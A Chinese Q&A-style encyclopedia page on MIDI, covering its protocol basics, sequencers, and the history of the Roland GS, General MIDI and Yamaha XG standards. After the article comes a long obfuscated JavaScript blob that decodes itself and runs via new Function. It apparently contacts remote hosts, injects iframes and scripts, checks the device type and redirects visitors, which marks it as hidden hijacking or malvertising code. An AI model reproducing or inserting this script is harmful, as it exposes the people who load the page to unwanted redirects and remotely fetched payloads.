推荐回答(1个)
MIDI技术的基本概念
乐器数字接口(Musical Instrument Digital Interface,MIDI) 是20 世纪80 年代初为解决电声乐器之间的通信问题而提出的。MIDI 传输的不是声音信号, 而是音符、控制参数等指令, 它指示MIDI 设备要做什么,怎么做, 如演奏哪个音符、多大音量等。它们被统一表示成MIDI 消息(MIDI Message) 。传输时采用异步串行通信, 标准通信波特率为31.25×( 1±0.01) KBaud。
MIDI仅仅是一个通信标准,它是由电子乐器制造商们建立起来的,用以确定电脑音乐程序、合成器和其他电子音响的设备互相交换信息与控制信号的方法。
MIDI系统实际就是一个作曲、配器、电子模拟的演奏系统。从一个MIDI设备转送到另一个MIDI设备上去的数据就是MIDI信息。MIDI数据不是数字的音频波形,而是音乐代码或称电子乐谱。
电视晚会的音乐编导可以用MIDI功能辅助音乐创作,或按MI-DI标准生成音乐数据传播媒介,或直接进行乐曲演奏。
如果在计算机上装备了高级的MIDI软件库,可将音乐的创作、乐谱的打印、节目编排、音乐的调整、音响的幅度、节奏的速度、各声部之间的协调、混响由MIDI来控制完成。
利用MIDI技术将电子合成器、电子节奏机(电子鼓机)和其他电子音源与序列器连接在一起即可演奏模拟出气势雄伟、音色变化万千的音响效果,又可将演奏中的多种按键数据存储起来,极大的改善了音乐演奏的能力和条件。
用于连接各种MIDI设备所用的电缆为5芯电缆,通常人们也把它称为MIDI电缆。
MIDI是一种电子乐器之间以及电子乐器与电脑之间的统一交流协议。很多流行的游戏、娱乐软件中都有不少以MID、RMI为扩展名的MIDI格式音乐文件。
MIDI文件是一种描述性的“音乐语言”,它将所要演奏的乐曲信息用字节进行描述。譬如在某一时刻,使用什么乐器,以什么音符开始,以什么音调结束,加以什么伴奏等等,也就是说MIDI文件本身并不包含波形数据,所以MIDI文件非常小巧。
MIDI要形成电脑音乐必须通过合成。早期的ISA声卡普遍使用的是FM合成,即“频率调变”。它运用声音振荡的原理对MIDI进行合成处理,由于技术本身的局限,效果很难令人满意。而现在的声卡大都采用的是波表合成了,它首先将各种真实乐器所能发出的所有声音(包括各个音域、声调)进行取样,存储为一个波表文件。
在播放时,根据MIDI文件记录的乐曲信息向波表发出指令,从“表格”中逐一找出对应的声音信息,经过合成、加工后回放出来。由于它采用的是真实乐器的采样,所以效果自然要好于FM。一般波表的乐器声音信息都以44.1KHz、16Bit的精度录制,以达到最真实的回放效果。理论上,波表容量越大合成效果越好。根据取样文件放置位置和由专用微处理器或CPU来处理的不同,波表合成又常被分为软波表和硬波表。
MIDI系统是如何工作的
[编辑本段]
MIDI作曲和核配器系统核心部分是一个被称为序列器的软件。这个软件即可以装到个人电脑里,也可做在一个专门的硬件里。序列器实际上是一个音乐词处理器(word porcessor),应用它可以记录、播放和编辑各种不同MIDI乐器演奏出的乐曲。序列器并不真正的记录声音,它只记录和播放MIDI信息,这些信息从MIDI乐器来的电脑信息,就像印在纸上的乐谱一样,它本身不能直接产生音乐,MIDI本身也不能产生音乐,但是它包含有如何产生音乐所需的所有指令,例如用什么乐器、奏什么音符、奏得多快,奏得力度多强等。
序列器可以是硬件,也可以是软件,它们作用过程完全与专业录音棚里多轨录音机一样,可以把许多独立的声音记录在序列器里,其区别仅仅是序列器只记录演奏时的MIDI数据,而不记录声音;它可以一轨一轨地进行录制,也可以一轨轨地进行修改,当你弹键盘音乐时,序列器记录下从键盘来的MIDI数据。一旦把所需要的数据存储下来以后,可以播放你刚作好的曲子。如果你觉得这一声部的曲子不错,可以把别的声部加上去,新加上去的声部播放时完全与第一道同步。
作为单独设备的序列器,音轨数相对少一些,大概8~16轨,而作为电脑软件的序列器几乎多达50000个音符,64~200轨以上。
序列器与磁带不同,它只受到硬件有效的RAM(Rndom aCCessmemory随机存储器)和存储容量的限制,所以作曲、配器根本用不着担心“磁带”不够用。MIDI技术的一大优点就是它送到和存储在电脑里的数据量相当小,一个包含有一分钟立体声的数字音频文件需要约10兆字节(相当于7张软盘的容量)的存储空间。然而,一分钟的MIDI音乐文件。这也意味着,在乐器与电脑之间的传输数据是很低的,也就是说即是最低档的电脑也能运行和记录MIDI文件。
通过使用MIDI序列器可以大大地降低作曲和配器成本,根本用不着庞大的乐队来演奏。音乐编导在家里就可把曲子创作好,配上器,再也用不着大乐队在录音棚里一个声部一个声部的录制了。只需要用录音棚里的电脑或键盘,把存储在键盘里的MIDI序列器的各个声部的全部信息输入到录音机上即可。
MIDI程序的设计目标就是要将所要演奏的音乐或音乐曲目,按其进行的节奏、速度、技术措施等要求,转换成MIDI控制语言,以便在这些MIDI指令的控制之下,各种音源在适当的时间点上,以指定的音色、时值、强度等、演奏出需要的音响。在录音系统中,还要控制记录下这些音响。MIDI所适应的范围只是电声乐曲或模拟其他乐器的乐曲。
MIDI技术的产生与应用,大大降低了乐曲的创作成本,节省了大量乐队演奏员的各项开支,缩短了在录音棚的工作时间,提高了工作效率。一整台电视文艺晚会的作曲、配器、录音,只需要一位音乐编导、一位录音师即可将器乐作(编)曲、配器、演奏,录音工作全部完成。
MIDI概述
[编辑本段]
MIDI是Musical Instrument Digital Interface的缩写,直接翻译过来的意思就是乐器数字化接口,可以把MIDI理解成是一种协议、一种标准、或是一种技术,但不要把它看作是某个硬件设备。
MIDI这种播放指令序列文件是乐器数字化接口的简写,是由日本和美国几家著名电子乐器厂商于1983年共同制定的数字音乐/电子合成器的统一国际标准,它的出现解决了各个不同厂商之间的数字音乐乐器的兼容问题!日本罗兰公司于1984年提出了GS标准,大大增强了音乐的表现力。为了更有利于音乐家广泛地使用不同的合成器设备和促进MIDI文件的交流,国际MIDI生产者协会(MMA)在1991年制定了通用MIDI标准——GM,该标准是以日本Roland公司的通用合成器GS标准为基础而制订的。
GM标准的提出得到了Windows操作系统的支持,使得数字音乐设备之间的信息交流得到了简化,受到全世界数字音乐爱好者的一致好评。随后,YAMAHA公司在GM标准上于1994年推出了自己的XG的MIDI格式,增加了更多数量的乐器组,扩大了MIDI标准定义范围,在专业音乐范围内得到广泛的应用!
MIDI的产生与发展
[编辑本段]
MIDI不是首先出现在计算机里面的,它是由电子乐器生产厂家为了不同型号的电子乐器的“交流”而产生的,由于它采用的是数字化技术,当然自然而然的很容易的与计算机挂上了关系。所以我们要讲MIDI乐器的接口,有三种,MIDI OUT、MIDI IN、MIDI THRU。这些可以在你家里的MIDI乐器或带有MIDI的电子琴(现在的很多电子琴上都有MIDI接口)上找到的。MIDI OUT是将乐器中的数据(MIDI消息)向外发送;MIDI IN就是接收数据啦;至于MIDI THRU嘛,是将收到的数据再传给另一个MIDI乐器或设备,可以说是若干个乐器连接的接口。可以这样说,MIDI所描述的是将MIDI乐器弹奏出的音变成01010一样的数据输出,也可以将计算机中的软件将要表示的音变成01010的二进制数据通过声卡输出,或者接收一些01010的数据进行处理。
通常一个标准的MIDI有16个通道,GM标准里的第10通道是专为打击乐设定的。
早期的MIDI设备除了都能接受MIDI信号之外没有统一的标准,尤其是在音色排列的方式上更是“随心所欲”的。也就是说您在这台琴上制作完成的音乐拿到另一台不同型号的琴上播放时会变得面目全非,小提琴可能会变成小号,长笛可能会变成吉他,钢琴可能会变成大鼓……这对于专业音乐人士的工作并不会产生太大的影响,毕竟他们制作一次灌成唱片也就完事儿了,但是对于音乐爱好者之间的交流,尤其是多媒体的发展却极为不利。
于是著名的日本ROLAND公司于1990年制定出它称之为GS的标准。GS标准是在ROLAND的早期产品MT-32和CM-32/64的基础之上,规定了MIDI设备的最大同时发音数不得少于24个、鼓镲等打击乐器作为一组单独排列、128种乐器音色有统一的排列方式等。在这几项规定中,最重要的就是这128种音色的统一排列方式。有了这种排列方式,只要是在支持GS标准的设备上制作的音乐,拿到任何一台支持同样标准的设备上都能正常播放。
GS标准的制定本来是一件天大的好事,它使得全世界的电子乐器有了一个“全方位接触”的机会。可是,也许是由于这个标准真的是过于复杂,更可能是由于众多的MIDI设备制造商不愿意形成ROLAND的独霸世界标准的局面,总之最后世界各国的MIDI设备制造商并没有全盘接受这个标准,而是将之稍作改变,泡制出了一个GM标准。
GM标准的全称应该是“通用MIDI标准系统第一级”(General MIDI system Level1),这个标准制定于1991年,在GS标准基础上,主要规定了音色排列、同时发音数和鼓组的键位,而把GS标准中重要的音色编辑和音色选择部分去掉了。GM的音色排列方式基本上沿袭了GS标准,只是在名称上进行了无关痛痒的修改,如把GS的Piano 1改名为Acoustic Grand Piano等。
虽然GM标准不如GS那样功能强大,但是它毕竟是世界第一种通用的MIDI乐器排列 的标准,而且正因为它将ROLAND GS标准作了简化,也使得更多的MIDI设备厂商可以制造符合此标准的MIDI设备。所以GM标准刚一制定,就得到了MIDI厂商,尤其是多媒体设备厂商的热烈响应。此后,各大MIDI厂商的设备纷纷被敲上GM的标制,MIDI设备之间实现了比以往更深层次的交流,为多媒体时代的真正到来作好了准备。对于现在的MIDI设备,GM标准是最基本的了。
另一个MIDI巨头YAMAHA也不甘示弱,他当然不甘于这样一个要求很低的标准,所以YAMAHA于1994年9月提出了自己的音源标准--XG。XG同样在兼容GM的基础上做了大幅度的扩展,如加入了“音色编辑”的功能,使得作曲家可以在MIDI乐曲中实时地改变乐器的音色;还加入了“音色选择”功能,在每一个XG音色上可以叠加若干种音色。
所以我们目前常见的MIDI标准由GM、GS、XG,它们之间竞争还会继续,当然这指的是GS与XG。
八十年代初,电脑音乐迎来了第一个真正的繁荣时期,同时也迎来了一个难以解决的问题,那就是各种电子乐器之间的通讯问题:各生产厂家都按照自己的规格生产电子乐器,当您单独使用某一厂家的产品时,您还不会遇到什么问题,可是当您同时使用几家公司的设备构成一个电脑音乐系统的时候,麻烦就来了,您怎么能使一台美国E-MU的音源发出您在日本ROLAND键盘上弹奏的一个标准A呢?
为了解决电子乐器的通讯问题,1982年,国际乐器制造者协会的十几家厂商(其中主要是美国和日本的厂商)会聚一堂,各抒己见。会议通过了美国Sequential Circuits公 司的大卫.史密斯提出的“通用合成器接口”的方案,并改名为“音乐设备数字接口”,即“Musical Instrument Digital Interface”缩写为“MIDI”,公布于世。1983年,MIDI协议 1.0版正式制定出来。此后,所有的商业用电子乐器的背后都出现了几个五孔的MIDI插座,乐器之间不再存在“语言障碍”,它们同装上MIDI接口的电脑一起,构成了一个更加繁荣昌盛的电脑音乐大家庭。
实际上, MIDI 本身只是Musical Instrument Digital Interface 的缩写,意思是音乐设备数字接口。 这种接口技术的作用就是使电子乐器与电子乐器,电子乐器与电脑之间通过一种通用的通讯协议进行通讯, 这种协议自然就是MIDI协议了。
对于搞计算机的人来说, 不妨把MIDI理解成一种局域网,网络的各个部分通过专用的串行电缆(MIDI线)连接, 并以 31.25 KBPS 的速度传送着数字音乐信息。
MIDI 标准制定以后,开始只是在专业的电脑音乐圈儿里受到重视,但是随着电子技术的不断发展,尤其是近几年多媒体技术的突飞猛进,MIDI 作为多媒的一个重要组成部分,被炒得沸沸扬扬,几乎达到了妇孺皆知的地步。而大家也已经把这种接口技术当作了电脑音乐的代名词,常有“做MIDI”,“玩儿MIDI”的说法,使一些正统的“电脑音乐人” 觉得莫名其妙,啼笑皆非。
因此, 我们倒不妨将MIDI划分为“狭义MIDI”和“广义MIDI”两种概念,狭义MIDI就是上面所说的音乐设备数字接口,而广义MIDI则是大家已经约定俗成的整个电脑音乐的统称 , 这样即不会造成概念上的进一步混乱,也不会使得MIDI一词失去其本质的含义。
1985年11月,国际乐器制造者协会公布了《MIDI 1.0版的细节规定》(2.0版至今仍在制定中),重新定义了一些控制器号码。此外,为保证MIDI的健康发展,还专门 成立了“MIDI厂商协会”和“日本MIDI标准委员会”等组织,MIDI标准从成长阶段步入了成熟阶段。
MIDI标准的成熟使各电子乐器生产厂商更加信心百倍,它们绞尽脑汁、挖空心思,以空前的热情生产出各种电子乐器,有键盘式的(合成器、主控键盘)、弦控式的(MIDI吉他)、敲击式的(鼓机)甚至还有吹奏式的(呼吸控制器),除此之外,还有五花八门的各种音源模块(就是把没有键盘的电子合成器)供人选购。
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();